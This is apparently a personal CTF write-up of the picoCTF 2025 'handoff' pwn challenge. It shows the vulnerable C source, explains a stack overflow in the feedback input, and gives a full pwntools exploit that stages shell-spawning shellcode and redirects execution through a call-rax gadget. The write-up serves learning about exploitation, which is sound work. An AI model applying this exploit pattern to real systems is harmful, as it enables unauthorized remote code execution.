Logo

pwn/picoCTF 2025: handoff -> "hard"??

author

im learning binary exploitation right now and I wanted to come back to some challenges that I couldn't do when I was starting out in CTFs earlier this year, doing picoCTF 2025.

part 1

Source code:

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64

typedef struct entry {
	char name[8];
	char msg[64];
} entry_t;

void print_menu() {
	puts("What option would you like to do?");
	puts("1. Add a new recipient");
	puts("2. Send a message to a recipient");
	puts("3. Exit the app");
}

int vuln() {
	char feedback[8];
	entry_t entries[10];
	int total_entries = 0;
	int choice = -1;
	// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
	while (true) {
		print_menu();
		if (scanf("%d", &choice) != 1) exit(0);
		getchar(); // Remove trailing \n

		// Add entry
		if (choice == 1) {
			choice = -1;
			// Check for max entries
			if (total_entries >= MAX_ENTRIES) {
				puts("Max recipients reached!");
				continue;
			}

			// Add a new entry
			puts("What's the new recipient's name: ");
			fflush(stdin);
			fgets(entries[total_entries].name, NAME_LEN, stdin);
			total_entries++;
			
		}
		// Add message
		else if (choice == 2) {
			choice = -1;
			puts("Which recipient would you like to send a message to?");
			if (scanf("%d", &choice) != 1) exit(0);
			getchar();

			if (choice >= total_entries) {
				puts("Invalid entry number");
				continue;
			}

			puts("What message would you like to send them?");
			fgets(entries[choice].msg, MSG_LEN, stdin);
		}
		else if (choice == 3) {
			choice = -1;
			puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
			fgets(feedback, NAME_LEN, stdin);
			feedback[7] = '\0';
			break;
		}
		else {
			choice = -1;
			puts("Invalid option");
		}
	}
}

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);  // No buffering (immediate output)
	vuln();
	return 0;
}

Looking at the source code, there is a buffer overflow in choice 3: Exit the app.

It does these:

char feedback[8];
#define NAME_LEN 32
fgets(feedback, NAME_LEN, stdin);

So there is a buffer overflow of 24 bytes in this fgets(). It holds 8 characters while it feeds in name_len, which is 32 bytes.

going to find amount of characters from the feedback buffer to overflow to $rip:

So the difference between the feedback buffer and $rip is 20 bytes. Since the shellcode payload is too big to fit in this overflow, I'm going to place it in one of the message, since it holds many more bytes.

typedef struct entry {
	char name[8];
	char msg[64];
} entry_t;
p.sendlineafter(b"3. Exit the app", b"1")
p.sendlineafter(b"new recipient's name:", b"AAAAAAAA")
p.sendlineafter(b"3. Exit the app", b"2")
p.sendlineafter(b"you like to send a message to?", "0")
p.sendlineafter(b"send them?", shellcode)
p.sendlineafter(b"3. Exit the app", b"3")

So I put the shellcode in one of the messages. In order to execute and direct execution to this shellcode, i decided to do this:

  • At the saved rip, place call rax at saved rip
    • this is because when fgets() is called, then rax is set to the start of the buffer.
    • allows us to redirect execution to the start of the feedback buffer.
  • In the feedback buffer, place a small shellcode script to subtract the difference between rax and the start of the main shellcode in the message struct, where i placed it before. Then do call rax again.
    • this will direct execution to rax, and to main shellcode.
pwn3

so to find the difference, i will place a breakpoint on the fgets() for my message instead, and then note down the address of rax. Then i subtract the original rax in the feedback buffer from the new rax from the message buffer. This will give us the location of our message buffer since the offset doesn't change.

pwn1

now we can do

 sub rax, 0x2cc
 jmp rax

 and then + "a"*## to saved rip, which will call rax

in the first part of our shellcode.

pwn2

After this, we can assemble the script:

from pwn import *

context.binary = binary = ELF('./handoff', checksec=False)
p = remote('shape-facility.picoctf.net', 54036)

exitcode = asm ('''
 nop
 nop
 nop
 sub rax, 0x2cc
 jmp rax
''')

exitcode = exitcode.ljust(20, b'a') + p64(0x0000000000401014)


shellcode = b"\x90"*10 + asm(shellcraft.sh())

p.sendlineafter(b"3. Exit the app", b"1")
p.sendlineafter(b"new recipient's name:", b"AAAAAAAA")
p.sendlineafter(b"3. Exit the app", b"2")
p.sendlineafter(b"you like to send a message to?", "0")
p.sendlineafter(b"send them?", shellcode)
p.sendlineafter(b"3. Exit the app", b"3")
p.sendline(exitcode)
p.interactive()

i added some nops since it didnt work at first idk also make sure to watch out for

feedback[7] = '\0';

Overall, not too hard, maybe i will do better next year in pico.